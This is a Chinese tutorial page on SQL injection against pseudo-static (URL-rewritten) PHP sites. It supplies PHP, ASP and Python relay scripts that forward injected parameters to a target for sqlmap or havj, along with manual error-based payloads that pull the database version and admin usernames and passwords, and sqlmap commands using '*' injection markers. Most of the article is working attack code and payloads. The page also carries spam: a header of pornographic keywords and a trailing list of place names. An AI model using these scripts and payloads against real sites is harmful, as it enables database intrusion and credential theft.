最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP針對(duì)偽靜態(tài)的注入總結(jié)【附asp與Python相關(guān)代碼】

 更新時(shí)間:2017年08月01日 09:01:07   作者:無(wú)法自拔  
這篇文章主要介紹了PHP針對(duì)偽靜態(tài)的注入,結(jié)合實(shí)例形式總結(jié)分析了php針對(duì)偽靜態(tài)的常見(jiàn)注入情況,并附帶asp與Python的相關(guān)操作代碼,對(duì)于php程序安全有一定借鑒價(jià)值,需要的朋友可以參考下

本文實(shí)例講述了PHP針對(duì)偽靜態(tài)的注入。分享給大家供大家參考,具體如下:

一:中轉(zhuǎn)注入法

1.通過(guò)http://www.xxx.com/news.php?id=1做了偽靜態(tài)之后就成這樣了
http://www.xxx.com/news.php/id/1.html

2.測(cè)試步驟:

中轉(zhuǎn)注入的php代碼:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地環(huán)境搭建PHP,然后訪問(wèn)http://127.0.0.1/inject.php?id=1

通過(guò)sqlmap或者h(yuǎn)avj可以跑注入漏洞。

附錄ASP中轉(zhuǎn)代碼:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"&nbsp;&nbsp;//實(shí)際上要請(qǐng)求的網(wǎng)址
JMUrl=JMUrl & JmStr&".html"&nbsp; &nbsp; //拼接url
response.write JMUrl&JmStr&nbsp; &nbsp; //我這里故意輸出url來(lái)看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)&nbsp;&nbsp;
response.write&nbsp;&nbsp;PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)&nbsp;&nbsp;
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)&nbsp; &nbsp;//處理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)&nbsp; &nbsp; //發(fā)包前對(duì)參數(shù)的url編碼一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加轉(zhuǎn)換搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '轉(zhuǎn)換空格,如果網(wǎng)站過(guò)濾了空格,嘗試用/**/來(lái)代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")&nbsp;&nbsp;'JMDCW增加轉(zhuǎn)換+字符
vstrin=Replace(vstrin,chr(32),"/**/")&nbsp;&nbsp;'在此增加要過(guò)濾的代碼 //這里很關(guān)鍵,方便啊,把空格自動(dòng)換成/**/,后面會(huì)說(shuō)到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.測(cè)試注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯(cuò)

3.看頁(yè)面是否存在差異,相同則不存在,不同存在注入。

4.聯(lián)合查詢:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

偽靜態(tài)的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是偽靜態(tài)不行,會(huì)被直接傳遞到到url中,所以用/**/這個(gè)注釋符號(hào)表示空格。

三、SQLmap方法

在sqlmap中偽靜態(tài)哪兒存在注入點(diǎn)就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python腳本方法

代碼:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

更多關(guān)于PHP相關(guān)內(nèi)容感興趣的讀者可查看本站專題:《php程序設(shè)計(jì)安全教程》、《php安全過(guò)濾技巧總結(jié)》、《PHP運(yùn)算與運(yùn)算符用法總結(jié)》、《PHP網(wǎng)絡(luò)編程技巧總結(jié)》、《PHP基本語(yǔ)法入門教程》、《php面向?qū)ο蟪绦蛟O(shè)計(jì)入門教程》、《php字符串(string)用法總結(jié)》、《php+mysql數(shù)據(jù)庫(kù)操作入門教程》及《php常見(jiàn)數(shù)據(jù)庫(kù)操作技巧匯總

希望本文所述對(duì)大家PHP程序設(shè)計(jì)有所幫助。

相關(guān)文章

  • Eclipse的PHP插件PHPEclipse安裝和使用

    Eclipse的PHP插件PHPEclipse安裝和使用

    PHP有很多相當(dāng)不錯(cuò)的開(kāi)發(fā)工具,如Zend Studio、NetBeans、phpdesigner等,但對(duì)于習(xí)慣Java編程的程序猿們來(lái)說(shuō),最常用的還要屬Eclipse。那么Eclipse能用于PHP開(kāi)發(fā)嗎?答案是“必須滴”。
    2014-07-07
  • 使用session判斷用戶登錄用戶權(quán)限(超簡(jiǎn)單)

    使用session判斷用戶登錄用戶權(quán)限(超簡(jiǎn)單)

    本篇文章是對(duì)session判斷用戶登錄用戶權(quán)限進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下
    2013-06-06
  • 仿AS3實(shí)現(xiàn)PHP 事件機(jī)制實(shí)現(xiàn)代碼

    仿AS3實(shí)現(xiàn)PHP 事件機(jī)制實(shí)現(xiàn)代碼

    仿AS3實(shí)現(xiàn)PHP 事件機(jī)制實(shí)現(xiàn)代碼,需要的朋友可以參考下。
    2011-01-01
  • php與Mysql的一些簡(jiǎn)單的操作

    php與Mysql的一些簡(jiǎn)單的操作

    本文給大家分享的是php連接mysql數(shù)據(jù)庫(kù)的方式以及操作數(shù)據(jù)庫(kù)的方法,需要的朋友可以參考下
    2015-02-02
  • 最新評(píng)論

    随州市| 同心县| 平谷区| 巢湖市| 亚东县| 阳泉市| 新安县| 新安县| 遵义县| 万宁市| 福安市| 邢台市| 新宾| 威远县| 右玉县| 阳泉市| 若尔盖县| 卢湾区| 河南省| 门头沟区| 昭觉县| 正镶白旗| 昌江| 儋州市| 安达市| 商城县| 双辽市| 许昌县| 工布江达县| 梁山县| 元江| 南郑县| 兴和县| 平山县| 呼和浩特市| 抚州市| 沙雅县| 汉寿县| 阿图什市| 社会| 铜梁县|